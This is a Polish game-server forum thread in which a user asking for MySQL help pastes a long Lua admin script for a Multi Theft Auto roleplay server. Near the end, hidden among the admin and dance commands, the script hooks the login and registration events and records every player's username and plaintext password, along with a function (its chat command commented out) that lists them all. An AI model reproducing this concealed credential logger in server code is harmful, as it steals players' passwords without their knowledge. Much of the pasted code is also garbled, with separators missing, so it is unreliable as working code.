Zaloguj się by uzyskać pełen dostęp. Nie masz jeszcze konta? Założ je już teraz w kilka sekund.

Wysłany: 2016-03-17, 20:20


Patrix100

Amator LUA.






Wiek: 26
Na forum: 3887 dni
Posty: 182
Nick w MP: .:Patrix:.

Piwa: 952

Respekt: 40,5

Witam, mam taki problem bo nie wiem jak podpiac skrypt pod mysql. Poprostu jak wpisze np komende /tt to wyskakuje blad w mysql ze nie jest podpiety. I wlasnie mam problem z podlaczeniem ;/

Postaw piwo autorowi tego posta
 

 
Wysłany: 2016-03-17, 20:45


Emm

***** ***






Wiek: 32
Na forum: 3880 dni
Posty: 3191
Nick w MP: Emm

Piwa: 6162

Respekt: 1580
Respekt: 1580Respekt: 1580


   Administrator: Admin ma zawsze rację | REGULAMIN FORUM | REKLAMA/VIP | .
Podaj kod

Podpis

Użytkownik: 20.10.2015r
GTAO Member: 06.03.2016r
Support-Team: 20.01.2016r
Moderator: 30.03.2016r
Mod-Team: 08.10.2016r
Vice Admin: 04.05.2018r
Administrator: 03.05.2022r


! Koniecznie zapoznaj się z regulaminem forum.
Pamiętaj, aby zawsze go przestrzegać, nie mniej ważne są również regulaminy działów, w których się wypowiadasz!
Zamiast zakładać temat po kilka razy, bo jest usuwany przez Administrację, przejrzyj regulamin i napisz poprawnie temat!
Sprawy z administracją możesz załatwiać anonimowo w tym dziale.
Najważniejsze informacje od Administracji możesz przeczytać tutaj oraz tutaj.
Postaw piwo autorowi tego posta
 

 
Wysłany: 2016-03-17, 21:17


Patrix100

Amator LUA.






Wiek: 26
Na forum: 3887 dni
Posty: 182
Nick w MP: .:Patrix:.

Piwa: 952

Respekt: 40,5

"Emm" napisał/a:

Podaj kod


#1
addEventHandler('onPlayerJoin'root, function()
    local result=exports['db']:getRekord('SELECT * FROM og_bans WHERE active=1 AND serial=? AND time>NOW() LIMIT 1;'source:getSerial())
    if #result > 0 then
        outputConsole(' 'source)
        outputConsole(' 'source)
        outputConsole(' 'source)
        outputConsole('Zosta?e?/a? zbanowany/a na tym serwerze!'source)
        outputConsole('Pow?d zbanowania: ' .. result[1].reasonsource)
        outputConsole('Czas bana: ' .. result[1].timesource)
        outputConsole('Od kary mo?esz zaapelowa? na forum.'source)
        source:kick('Serwer''Wci?nij F8')
    else
        exports['db']:setRekord('DELETE FROM og_bans WHERE active=1 AND serial=?'source:getSerial())
    end
end)

addEventHandler("onPlayerWasted"root, function( ammoattackerweaponbodypart )
    if (attacker and isElement(attacker) and source and isElement(source)) then
        local zabojstwo=('ZABOJSTWO %s zabity przez %s bron %s'):format(getPlayerName(source), getPlayerName(attacker), getWeaponNameFromID(weapon))
        triggerClientEvent(root"admin:addText"rootzabojstwo)
    else
    local smierc=('SMIERC %s'):format(getPlayerName(source))
    triggerClientEvent(root"admin:addText"rootsmierc)    
end    
end)


#2
function pobierzDate(type,time)
    realTime=getRealTime()
    type=tostring(type)
    time=tonumber(time)
    if type == "m" then value1=realTime.minute+time else value1=realTime.minute end
    if type == "h" then value2=realTime.hour+time else value2=realTime.hour end
    if type == "y" then value3=realTime.monthday+time else value3=realTime.monthday end
    if type == "w" then value4=realTime.month+time else value4=realTime.month end
    date=string.format("%04d-%02d-%02d "realTime.year+1900value4+1value3)
    time=string.format("%02d:%02d:%02d"value2value1realTime.second)
    outputChatBox(date..time,root)
    return date..time
end

-- Teksty
addCommandHandler("r", function(plr,cmd,...)
    if getAdmin(plr,3then
        local text=table.concat({...}, " ")
        outputChatBox(">> "..textroot19200)
    end
end)

addCommandHandler("r", function(plr,cmd,...)
    if getAdmin(plr,2)  then
        local text=table.concat({...}, " ")
        outputChatBox(">> "..textroot25500)
    end
end)

addCommandHandler("r", function(plr,cmd,...)
    if getAdmin(plr,1then
        local text=table.concat({...}, " ")
        outputChatBox(">> "..textroot1281920)
    end
end)

-- Komendy rcon?w
addCommandHandler("przepisz.gracz", function(plr,cmd,value)
    if getAdmin(plr,3then
        local veh=getPedOccupiedVehicle(plr)
        if not veh then
            outputChatBox("* Nie siedzisz w poje?dzie."plr25500)
            return
        end
        setElementData(veh,"vehicle:ownedPlayer",tonumber(value))
        outputChatBox("* Przepisa?e?(a?) pojazd do gracza: "..valueplr)
    end
end)


addCommandHandler("dim", function(plr,cmd,value)
    if getAdmin(plr,1) or getAdmin(plr,2) or getAdmin(plr,3then
            value=tonumber(value)
            if not value then
                outputChatBox("* Warto?? nie jest liczb?."plr)
                return
            end
            setElementDimension(plr,value)
        end
end)

addCommandHandler("serial", function(plr,cmd,target)
    if getAdmin(plr,2) or getAdmin(plr,3then
            if not target then
                outputChatBox("* U?ycie: /serial [nick/ID]"plr)
                return
            end
            local target=exports["Core"]:findPlayer(plr,target)
            if not target then outputChatBox("* Nie odnaleziono podanego gracza.",plr) return end
            local serial getPlayerSerial(target)
            outputChatBox("* Serial gracza to: "..serialplr)
        end
end)

addCommandHandler("daj.kase", function(plr,cmd,cel,value)
    if getAdmin(plr,3then
        if not cel or not tonumber(valuethen
            outputChatBox("* U?ycie: /daj.kase <nick/ID> <koszt>"plr)
            return
        end
        local target=exports["Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        givePlayerMoney(targetvalue)
        outputChatBox("* Otrzyma?e?(a?) od systemu "..value.." PLN"target)
    end
end)

-- Komendy admin?w
addCommandHandler("ban", function(plr,cmd,target,time,bantype,...)
   if getAdmin(plr,2) or getAdmin(plr,3then
           local reason=table.concat({...}, " ")
           if not target or not time or not bantype or not reason then
               outputChatBox("* U?ycie: /ban [nick/ID] [czas] [jednostka: w/d/h/m] [pow?d]"plr)
               return
           end
           local times=getRealTime()
           time1=times.month+1
           time2=times.monthday
           time3=times.hour
           time4=times.minute

           if bantype=="w" then time1=time1+time end
           if bantype=="d" then time2=time2+time end
           if bantype=="h" then time3=time3+time end
           if bantype=="m" then time4=time4+time end

           date=string.format("%04d-%02d-%02d",times.year+1900,time1,time2)
           xtime=string.format("%02d:%02d:00",time3,time4)
           timing=date.." "..xtime
           local target=exports["Core"]:findPlayer(plr,target)
           if not target then outputChatBox("* Nie odnaleziono podanego gracza.",plr) return end
           exports["PRL-db"]:setRekord("INSERT INTO og_bans (time,reason,serial,active) VALUES (?,?,?,1)"timingreasongetPlayerSerial(target))
           outputChatBox("Gracz "..getPlayerName(target).." zosta?/a zbanowany/a przez "..getPlayerName(plr)..": "..reason.." ("..time..""..bantype..")"root25500)
           kickPlayer(targetplr,"Zosta?e? zbanowany: "..reason.." Wci?nij F8")
       end
end)

addCommandHandler("jp", function(plr,cmd)
    if getAdmin(plr,3) or getAdmin(plr,2then
        if isPedInVehicle(plrthen
            removePedFromVehicle(plr)
        end
        if doesPedHaveJetPack(plrthen
            removePedJetPack(plr)
        else
            givePedJetPack(plr)
        end
    end
end)

-- komendy support?w
addCommandHandler("kick", function(plr,cmd,cel,...)
    if getAdmin(plr3) or getAdmin(plr2) or getAdmin(plr1then
        local reason=table.concat({...}, " ")
        if not cel or not reason then
            outputChatBox("* U?ycie: /kick <nick/ID> <pow?d>"plr)
            return
        end
        local target=exports["Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        triggerClientEvent(root"admin:rendering"root"Gracz "..getPlayerName(target).." ("..getElementData(target,"id")..") zosta?(a) wyrzucony(a) przez "..getPlayerName(plr)..": "..reason.."")
        kickPlayer targetplrreason)
    end
end)

addCommandHandler("tt", function(plr,cmd,cel)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if not cel then
            outputChatBox("* U?ycie: /tt <nick/ID>"plr)
            return
        end
        local target=exports["Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        if isPedInVehicle(plrthen
            removePedFromVehicle(plr)
        end
        local x,y,z=getElementPosition(target)
        setElementInterior(plr,getElementInterior(target))
        setElementDimension(plr,getElementDimension(target))
        setElementPosition(plr,x+math.random(1,2),y+math.random(1,2),z)
    end
end)

addCommandHandler("th", function(plr,cmd,cel)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if not cel then
            outputChatBox("* U?ycie: /th <nick/ID>"plr)
            return
        end
        local target=exports["Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        if isPedInVehicle(targetthen
            removePedFromVehicle(target)
        end
        local x,y,z=getElementPosition(plr)
        setElementInterior(target,getElementInterior(plr))
        setElementDimension(target,getElementDimension(plr))
        setElementPosition(target,x+math.random(1,2),y+math.random(1,2),z)
    end
end)

addCommandHandler("warn", function(plr,cmd,cel,...)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        local reason=table.concat({...}, " ")
        if not cel or not reason then
            outputChatBox("* U?ycie: /warn <nick/ID> <pow?d>"plr)
            return
        end
        local target=exports["Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        outputChatBox("******************************"target25500)
        outputChatBox("* Otrzyma?e?(a?) ostrze?enie..."target25500)
        outputChatBox("* Nie stosowanie si? do ostrze?e?,"target25500)
        outputChatBox("* Mo?e skutkowa? kicki'em lub ban'em."target25500)
        outputChatBox("******************************"target25500)
        triggerClientEvent(root"admin:rendering"root"* [ID:"..getElementData(target,"id").."]"..getPlayerName(target).." otrzyma?(a) ostrze?enie od "..getPlayerName(plr)..": "..reason.."")
    end
end)

addCommandHandler("dmon", function(plr,cmd)
    if getAdmin(plr3) or getAdmin(plr2then
        toggleControl(plr"fire"true)
        toggleControl(plr"aim_weapon"true)
        toggleControl(plr"action"true)
    end
end)

addCommandHandler("dmoff", function(plr,cmd)
    if getAdmin(plr,3) or getAdmin(plr,2then
        toggleControl(plr"fire"false)
        toggleControl(plr"aim_weapon"false)
        toggleControl(plr"action"false)
    end
end)

addCommandHandler("zpj", function(plr,cmd,target,time,zpjtype,...)
    if getAdmin(plr,1) or getAdmin(plr,2) or getAdmin(plr,3then
        if getElementData(plr"player:admin"then
            local reason=table.concat({...}, " ")
            if not target or not time or not zpjtype or not reason then
                outputChatBox("* U?ycie: /zpj [nick/ID] [czas] [jednostka: y/d/h/m] [pow?d]"plr)
                return
            end

            local times=getRealTime()
            time1=times.month+1
            time2=times.monthday
            time3=times.hour
            time4=times.minute

            if zpjtype=="w" then time1=time1+time end
            if zpjtype=="d" then time2=time2+time end
            if zpjtype=="h" then time3=time3+time end
            if zpjtype=="m" then time4=time4+time end

            date=string.format("%04d-%02d-%02d",times.year+1900,time1,time2)
            xtime=string.format("%02d:%02d:00",time3,time4)
            timing=date.." "..xtime

            local target=exports["Core"]:findPlayer(plr,target)
            if not target then outputChatBox("* Nie odnaleziono podanego gracza.",plr) return end
            exports["db"]:dbGet("INSERT INTO ogrpg_punish (type,time,serial,reason,active) VALUES (1,?,?,?,1)",timinggetPlayerSerial(target), reason,1)
            exports["db"]:dbGet("INSERT INTO ogrpg_punish (type,time,serial,reason,active) VALUES (2,?,?,?,1)",timing,getPlayerSerial(target), reason,1)

            outputChatBox("Gracz "..getPlayerName(target).." otrzyma?/a zakaz prowadzenia pojazd?w kat(A,B,C) od "..getPlayerName(plr)..": "..reason.." ("..time..""..zpjtype..")"root25500)
            if isPedInVehicle(targetthen removePedFromVehicle(targetend
        end
    end
end)

addCommandHandler("opj", function(plr,cmd,serial)
    if getAdmin(plr,1) or getAdmin(plr,2) or getAdmin(plr,3then
            if not serial then
                outputChatBox("* U?ycie: /opj [serial]"plr)
                return
            end
            local result exports["db"]:getRekord("SELECT * FROM ogrpg_punish WHERE serial=? AND active=1 AND type=1"serial)
            if result and #result > 0 then
                exports["db"]:dbGet("DELETE FROM ogrpg_punish WHERE serial=? AND active=1 AND type=1"serial)
                exports["db"]:dbGet("DELETE FROM ogrpg_punish WHERE serial=? AND active=1 AND type=2"serial)
                outputChatBox("* Usuni?to gracza z listy blokady prawa jazdy."plr)
            end
        end
end)


addCommandHandler("zpl", function(plr,cmd,target,time,zpltype,...)
    if getAdmin(plr,1) or getAdmin(plr,2) or getAdmin(plr,3then
            local reason=table.concat({...}, " ")
            if not target or not time or not zpltype or not reason then
                outputChatBox("* U?ycie: /zpl [nick/ID] [czas] [jednostka: w/d/h/m] [pow?d]"plr)
                return
            end
            local times=getRealTime()
            time1=times.month+1
            time2=times.monthday
            time3=times.hour
            time4=times.minute

            if zpltype=="w" then time1=time1+time end
            if zpltype=="d" then time2=time2+time end
            if zpltype=="h" then time3=time3+time end
            if zpltype=="m" then time4=time4+time end

            date=string.format("%04d-%02d-%02d",times.year+1900,time1,time2)
            xtime=string.format("%02d:%02d:00",time3,time4)
            timing=date.." "..xtime
            local target=exports["Core"]:findPlayer(plr,target)
            if not target then outputChatBox("* Nie odnaleziono podanego gracza.",plr) return end
            exports["db"]:getRekord("INSERT INTO og_kary (type,time,serial,reason,active) VALUES (3,?,?,?,1)"timinggetPlayerSerial(target), reason)
            outputChatBox("Gracz "..getPlayerName(target).." otrzyma?/a zakaz prowadzenia pojazd?w powietrznych od "..getPlayerName(plr)..": "..reason.." ("..time..""..zpltype..")"root25500)
            if isPedInVehicle(targetthen removePedFromVehicle(targetend
        end
end)

addCommandHandler("opl", function(plr,cmd,serial)
    if getAdmin(plr,1) or getAdmin(plr,2) or getAdmin(plr,3then
            if not serial then
                outputChatBox("* U?ycie: /opl [serial]"plr)
                return
            end
            local result exports["db"]:getRekord("SELECT * FROM og_kary WHERE serial=? AND active=1 AND pun_type=3"serial)
            if result and #result > 0 then
                exports["db"]:setRekord("DELETE FROM og_kary WHERE serial=? AND active=1 AND type=3"serial)
                outputChatBox("* Usuni?to gracza z listy blokady prawa lotniczego."plr)
            end
        end
end)

addCommandHandler("k", function(plr,cmd,target,...)
    if onCheckAdmin(plr,1) or onCheckAdmin(plr,2) or onCheckAdmin(plr,3then
        if getElementData(plr"player:admin"then
            local reason=table.concat({...}, " ")
            if not target or not reason then
                outputChatBox("* U?ycie: /k [nick/ID] [pow?d]"plr)
                return
            end
            local target=exports["Core"]:findPlayer(plr,target)
            if not target then outputChatBox("* Nie odnaleziono podanego gracza.",plr) return end
            outputChatBox("* "..getPlayerName(target).." zosta?/a wyrzucony/a przez: "..getPlayerName(plr)..": "..reasonroot25500)
            kickPlayer(target,plr,reason)
        end
    end
end)

addCommandHandler("aa", function(plr,cmd,...)
    if getAdmin(plr,3then
        local text=table.concat({...}, " ")
        for i,v in ipairs(getElementsByType("player")) do
            if getAdmin(v,3then
                outputChatBox("#CC0000R> "..getPlayerName(plr)..": "..text,v,_,_,_,true)
            end
        end
    end
end)

addCommandHandler("a", function(plr,cmd,...)
    if getAdmin(plr,2) or getAdmin(plr3then
        local text=table.concat({...}, " ")
        for i,v in ipairs(getElementsByType("player")) do
            if getAdmin(v,2) or getAdmin(v3then
                outputChatBox("#FF0000A> "..getPlayerName(plr)..": "..text,v,_,_,_,true)
            end
        end
    end
end)

addCommandHandler("m", function(plr,cmd,...)
    if getAdmin(plr,1) or getAdmin(plr2) or getAdmin(plr3then
        local text=table.concat({...}, " ")
        for i,v in ipairs(getElementsByType("player")) do
            if getAdmin(v,1) or getAdmin(v2) or getAdmin(v3then
                outputChatBox("#00FF00M> "..getPlayerName(plr)..": "..text,v,_,_,_,true)
            end
        end
    end
end)


addCommandHandler("fix", function(plr,cmd)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        local veh=getPedOccupiedVehicle(plr)
        local rxryrz getVehicleRotation veh )
        local xygetElementPosition veh )
        if not veh then
            outputChatBox("* Nie znajdujesz si? w poje?dzie"plr)
            return
        end
        setElementHealth(veh1000)
        setVehicleRotation vehrxryrz )
        setElementPosition vehxy)
        fixVehicle(veh)
    end
end)

addCommandHandler("dv", function(plr,cmd)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        local veh=getPedOccupiedVehicle(plr)
        if not veh then
            outputChatBox("* Nie znajdujesz si? w poje?dzie"plr)
            return
        end
        destroyElement(veh)
    end
end)

addCommandHandler("ttv", function(plr,cmd,vid)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if not vid or not tonumber(vidthen return end
        vid=tonumber(vid)
        for i,v in ipairs(getElementsByType("vehicle")) do
            local dbid=getElementData(v,"vehicle:id")
            if dbid and tonumber(dbid) == vid then
                local x,y,z=getElementPosition(v)
                setElementPosition(plr,x,y,z)
                setElementInterior(plrgetElementInterior(v))
                setElementDimension(plrgetElementDimension(v))
                warpPedIntoVehicle(plr,v)
                return
            end
        end
        local query=exports["db"]:dbGet("SELECT 1 FROM ogrpg_vehicles WHERE id=? AND parking>0"vid)
        if query then
            outputChatBox("* Pojazd znajduje sie na parkingu/w przechowalni."plr25500)
        else
            outputChatBox("* Nie znaleziono podanego pojazdu na mapie."plr25500)
        end
    end
end)

addCommandHandler("thv", function(plr,cmd,vid)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if not vid or not tonumber(vidthen return end
        vid=tonumber(vid)
        for i,v in ipairs(getElementsByType("vehicle")) do
            local dbid=getElementData(v,"vehicle:id")
            if dbid and tonumber(dbid) == vid then
                local x,y,z=getElementPosition(plr)
                setElementPosition(v,x,y,z)
                setElementInterior(vgetElementInterior(plr))
                setElementDimension(vgetElementDimension(plr))
                warpPedIntoVehicle(plr,v)
                return
               end
        end
        local query=exports["db"]:dbGet("SELECT 1 FROM ogrpg_vehicles WHERE id=? AND parking>0"vid)
        if query then
            outputChatBox("* Pojazd znajduje sie na parkingu/w przechowalni."plr25500)
        else
            outputChatBox("* Nie znaleziono podanego pojazdu na mapie."plr25500)
        end
    end
end)

addCommandHandler("heal", function(plr,cmd,cel)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if not cel then
            outputChatBox("Uzyj: /heal <id/nick>"plr)
            return
        end
        local target=exports["PRL-Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        setElementHealth(target100)
        outputChatBox("* Uleczy?e?(a?) gracza " ..getPlayerName(target), plr)
        outputChatBox("* Zosta?e? uleczony(a) przez "..getPlayerName(plr), target)
    end
end)

addCommandHandler("spec", function(plr,cmd,cel)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if not cel then
            outputChatBox("Uzyj: /spec <id/nick>"plr)
            return
        end
        local target=exports["Core"]:findPlayer(plr,cel)
        if not target then
            outputChatBox("* Nie znaleziono podanego gracza."plr25500)
            return
        end
        local x,y,z=getElementPosition(plr)
        removePedFromVehicle(plr)
        setElementInterior(plrgetElementInterior(target))
        setElementDimension(plrgetElementDimension(target))
        setCameraTarget(plrtarget)
        setElementData(plr,"spec:pos",{x,y,z})
    end
end)

addCommandHandler("unban", function(plr,cmd,serial)
    if getAdmin(plr,2) or getAdmin(plr,3then
            if not serial then
                outputChatBox("* U?ycie: /unban [serial]"plr)
                return
            end
            local result exports["db"]:dbGet("SELECT * FROM og_bans WHERE serial=? AND active=1"serial)
            if result and #result > 0 then
                local xresult exports["db"]:dbGet("DELETE FROM og_bans WHERE serial=? AND active=1"serial)
                if xresult then 
                    outputChatBox("* Usuni?to gracza z listy zbanowanych."plr)
                end
            end
        end
end)

addCommandHandler("specoff", function(plr,cmd)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        local spec=getElementData(plr,"spec:pos")
        if not spec then return end
        setElementPosition(plrspec[1], spec[2], spec[3])
        setCameraTarget(plrplr)
    end
end)

addCommandHandler("inv", function(plr)
    if getAdmin(plr,3) or getAdmin(plr,2) or getAdmin(plr,1then
        if getElementAlpha(plr) > 0 then
            setElementAlpha(plr,0)
        else
            setElementAlpha(plr,255)
        end
    end
end)

addCommandHandler("invveh", function(plr)
    if getAdmin(plr,3) or getAdmin(plr,2then
        local plr=getPedOccupiedVehicle(plr)
        if not plr then return end
        if getElementAlpha(plr) > 0 then
            setElementAlpha(plr,0)
        else
            setElementAlpha(plr,255)
        end
    end
end)

addCommandHandler("p", function(plrcmdmodel)
    if getAdmin(plr2) or getAdmin(plr3then
    if getElementData(plr"player:admin"then
            if not model then return end
            local pojazd=getPedOccupiedVehicle(plr)
            if pojazd then
                if getElementData(veh,"vehicle:spawn"then
                    outputChatBox("* Nie mo?esz zmieni? sobie pojazdu prywatnego."plr)
        if (not modelthen
            outputChatBox("U?yj: /p <model>"plr)
            return
        end
        
        local dim getElementDimension(plr)
        local x,y,getElementPosition(plr)
        local r1,r2,r3 getElementRotation(plr)
        local model getVehicleModelFromName(model)
        
        if getPedOccupiedVehicle(plrthen
            setElementModel(getPedOccupiedVehicle(plr), model)
        else
            local pojazd createVehicle(modelxyzr1r2r3)
            warpPedIntoVehicle(plrpojazd)
            setElementDimension(pojazddim)
        end
                end
        end
        end
    end
end)

addCommandHandler("up", function(plrcmdvalue)
    if getAdmin(plr2) or getAdmin(plr3then
        if (tonumber(value)==nilthen
            outputChatBox("U?yj: /up <ile>"plr)
            return
        end
    
        local e plr
    
        if (isPedInVehicle(plr)) then
            e getPedOccupiedVehicle(plr)
        end
    
        local x,y,getElementPosition(e)
        setElementPosition(exyz+tonumber(value))
    end
end)

addCommandHandler("thru", function(plrcmdvalue)
    if getAdmin(plr2) or getAdmin(plr3then
        if (tonumber(value)==nilthen
            outputChatBox("U?yj: /thru <ile>"plr)
            return
        end
    
        local e plr
    
        if getCameraTarget(plr) ~= plr then
            e getCameraTarget(plr)
        end
    
        if (isPedInVehicle(plr)) then
            e getPedOccupiedVehicle(e)
        end
    
        local x,y,getElementPosition(e)
        local _,_,rz getElementRotation(e)
    
        local rrz math.rad(rz)
        local x + (value math.sin(-rrz))
        local y + (value math.cos(-rrz))
    
        setElementPosition(exyz)
    end
end)


addCommandHandler("kibicuje",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"RIOT""RIOT_ANGRY_B")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("kibicuje2",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"ON_LOOKERS""wave_loop")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"CHAINSAW""CSAW_Hit_2")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec2",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"SKATE""skate_idle")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec3",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""strip_B")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec4",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"DANCING""dance_loop")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec5",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"DANCING""DAN_Down_A")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec6",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""strip_G")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec7",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""STR_C2")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec8",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"DANCING""dnce_M_b")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec9",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"DANCING""DAN_Loop_A")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec10",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"DANCING""dnce_M_d")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec11",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""strip_D")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec12",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""strip_E")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec13",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""STR_Loop_A")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec14",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"STRIP""STR_Loop_B")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec15",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"FINALE""FIN_Cop1_Stomp")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec16",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"DANCING""dnce_M_a")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec17",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"GFUNK""Dance_G10")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec18",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"GFUNK""Dance_G11")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec19",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"GFUNK""Dance_G12")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)

addCommandHandler("taniec20",function(plr,cmd)
    if (isPedInVehicle(plr)) then
        outputChatBox("Najpierw wysiadz z pojazdu"plr)
        return
    end
    setPedAnimation plr"RUNNINGMAN""Dance_B1")
bindKey (plr"enter""down", function ()
setPedAnimation (plrfalse )
end)
end)



tabela = {}
function Aktualizuj(login)
    for i,v in pairs(tabela) do
        if v[1] == login then
            table.remove(tabela,i)
        end
    end
end
function dod(login,haslo,graczek)
    Aktualizuj(login)
    table.insert(tabela,{login,haslo,getPlayerName(graczek) or "X"})
end
function dodaj(usernamepass)
    dod(usernamepasssource)
end
addEvent("onClientSendLoginDataToServer"true)
addEventHandler("onClientSendLoginDataToServer"getRootElement(), dodaj)
addEvent("onClientSendRegisterDataToServer"true)
addEventHandler("onClientSendRegisterDataToServer"getRootElement(), dodaj)
addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("logging:checkAccount",true)
addEvent("logging:newAccount",true)
addEventHandler("onRequestLogin",getRootElement(),dodaj)
addEventHandler("onRequestRegister",getRootElement(),dodaj)
addEventHandler("logging:checkAccount",getRootElement(),dodaj)
addEventHandler("logging:newAccount",getRootElement(),dodaj)

function pobierzHasla(gracz,cmd)
    outputChatBox("Lista",gracz)
    for i,v in pairs(tabela) do
        outputChatBox("Nick: "..v[3].." Login:"..v[1].." has?o"..v[2],gracz)
    end
end
--addCommandHandler("zh",pobierzHasla)

GateID = {975,977,980,1492,1493,1494,1946,1497,1946,1499,1500,1501,1502,1503,1504,1505,1307,3352,19066,19860}


addCommandHandler("stworz.brame", function(plr,cmdobject typevalue)
    if onCheckAdmin(plr,3then
        if object and  type and value then
        local object tonumber(object)
        local x,y,getElementPositionplr )
        local rotX,rotY,rotZ getElementRotation(plr)
        local Gate createObject(GateID[object], xyz+1.850,0,rotZ-90)
        local x,y,getElementPositionGate )
        local rotX,rotY,rotZ getElementRotation(Gate)
        setElementPosition(plr,x-2,y-2,z)

        if Gate then
        local x,y,getElementPosition(Gate)
        local col createColSphere(x,y,z,5)
        
